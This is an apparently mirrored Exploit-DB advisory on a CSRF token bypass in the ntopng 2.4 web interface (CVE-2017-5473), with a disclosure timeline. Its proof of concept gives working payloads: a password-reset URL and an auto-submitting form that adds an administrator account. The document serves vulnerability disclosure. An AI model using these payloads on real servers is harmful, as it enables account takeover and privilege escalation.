NTOPNG 2.4 Web Interface – Cross-Site Request Forgery

• Exploit Database
• 23 阅读

• 作者： hyp3rlinx
  日期： 2017-01-22
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/41141/

• [+]#####################################################################################
  [+] Credits / Discovery: John Page AKA Hyp3rlinX
  [+] Website: hyp3rlinx.altervista.org
  [+] Source: http://hyp3rlinx.altervista.org/advisories/NTOPNG-CSRF-TOKEN-BYPASS.txt
  [+] ISR: ApparitionSEC
  [+]#####################################################################################
  
  
  
  Vendor:
  ============
  www.ntop.org
  
  
  Product:
  ====================
  ntopng Web Interface
  v2.4.160627
  
  ntopng is the next generation version of the original ntop, a network
  traffic probe that shows the network usage, similar
  to what the popular top Unix command does. ntopng is based on libpcap and
  it has been written in a portable way in order to
  virtually run on every Unix platform, MacOSX and on Windows as well.
  
  
  Vulnerability Type:
  ==================
  CSRF Token Bypass
  
  
  
  CVE Reference:
  ================
  CVE-2017-5473
  
  
  
  Security Issue:
  =================
  By simply omitting the CSRF token or supplying arbitrary token values will
  bypass CSRF protection when making HTTP requests,
  to the ntopng web interface. Allowing remote attackers the rights to make
  HTTP requests on an authenticated users behalf, if
  the user clicks an malicious link or visits an attacker webpage etc.
  
  
  Exploit/POC:
  ============
  
  1) Change admin password
  http://VICTIM-SERVER:3000/lua/admin/password_reset.lua?csrf=NOT-EVEN-CHECKED&username=admin&new_password=xyz123&confirm_new_password=xyz123
  
  
  2) Add arbitrary
  
  <form action="
  http://VICTIM-SERVER:3000/lua/admin/add_user.lua?csrf=NOT-EVEN-CHECKED"
  method="GET">
  <input type="hidden" name="username"value="hyp3rlinx">
  <input type="hidden" name="full_name"value="TheApparitioN">
  <input type="hidden" name="password"value="abc123">
  <input type="hidden" name="confirm_password"value="abc123">
  <input type="hidden" name="host_role"value="administrator">
  <input type="hidden" name="allowed_networks"value="0.0.0.0/,::/">
  <input type="hidden" name="allowed_interface"value="HTTP/1.1">
  <script>document.forms[0].submit()</script>
  </form>
  
  
  
  Disclosure Timeline:
  =====================
  Vendor Notification: January 11, 2017
  Vendor acknowledgement: January 12, 2017
  Vendor Fixed Issue
  January 20, 2017 : Public Disclosure
  
  
  
  Network Access:
  ===============
  Remote
  
  
  Impact:
  ======================
  Information Disclosure
  Privilege Escalation
  
  
  
  Severity:
  ===========
  High
  
  
  
  [+] Disclaimer
  The information contained within this advisory is supplied "as-is" with no
  warranties or guarantees of fitness of use or otherwise.
  Permission is hereby granted for the redistribution of this advisory,
  provided that it is not altered except by reformatting it, and
  that due credit is given. Permission is explicitly given for insertion in
  vulnerability databases and similar, provided that due credit
  is given to the author. The author is not responsible for any misuse of the
  information contained herein and accepts no responsibility
  for any damage caused by the use or misuse of this information. The author
  prohibits any malicious use of security related information
  or exploits by the author or elsewhere.All content (c) HYP3RLINX -
  Apparition